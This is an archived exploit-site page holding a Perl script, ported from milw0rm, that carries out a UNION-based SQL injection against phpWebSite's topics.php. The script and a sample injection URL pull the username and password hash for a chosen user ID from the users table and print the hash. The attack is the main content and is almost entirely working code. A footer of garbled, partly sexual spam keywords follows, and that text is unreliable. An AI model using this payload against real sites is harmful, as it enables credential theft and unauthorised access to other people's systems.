about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , phpWebSite <= 0.10.? (topics.php) Remote SQL Injection Exploit



2006-02-24 phpWebSite <= 0.10.? (topics.php) Remote SQL Injection Exploit
Rated as : Moderate Risk 

#!/usr/bin/perl
# 
# advisory sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
#
http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1
# ported by str0ke (milw0rm.com) from x97Rangs code (RST/GHC)
http://rst.void.ru

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$uid      =  $ARGV[2];

sub usage
 {
    print "\nUsage: $0 [server] [path] [username] \n";
    print "sever    -  URL\n";
    print "path     -  path to topics.php\n";
    print "uid      -  uid of the user\n\n";
    exit ();}

sub work
 {
    print qq(
       ---------------------------------
#==---[ phpWebSite topic SQL-Injection  |
       ---------------------------------\n\n);&board}

sub board
 {
    $URL =
sprintf("http://%s%s/topics.php?op=viewtopic&topic=-1+Union+select+name,name,pass,name+From+users+where+uid=%s",$serv,$path,$uid);
    $content = get "$URL";
    if ($content =~ /(\w{32})/){&showh;}else{print "... One of those
days :)\n";}}

sub showh
 {
    print "[*] User: $uid Hash: $1\n\n";}

if (@ARGV != 3){&usage;}else{&work;}
securitydot.net - 2006-02-24

Advertising

Copyright 2007, SecurityDot
Sat, 22 Nov 2008 14:40:05 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
t492t Namithasex Sexy photo t207t sex poren www.arab s Www.Sex 30 Www.xxxstr tippingpoi Open pose ssh 1.99 o Www.thiris 3d villase www.sex.na weakness Crack Data Video naru Www.grilsg Image sex jayamalini Www.grilsg sex poren Video+naru vbuletin vBulletin mambo Remo anal sexy indian sax CMS is Fre php-nuke 2 Animal wom mambo comp Crack Data REMOTE ACC Sexyporn.c VIDEOGRATI t857t vodhb8.cn Easy e Www/indian Nayanatara Www.Hot.Co free chatt www.freese WWW.XXL.KO t881t t881t apache 1.3 0/compone www.charmi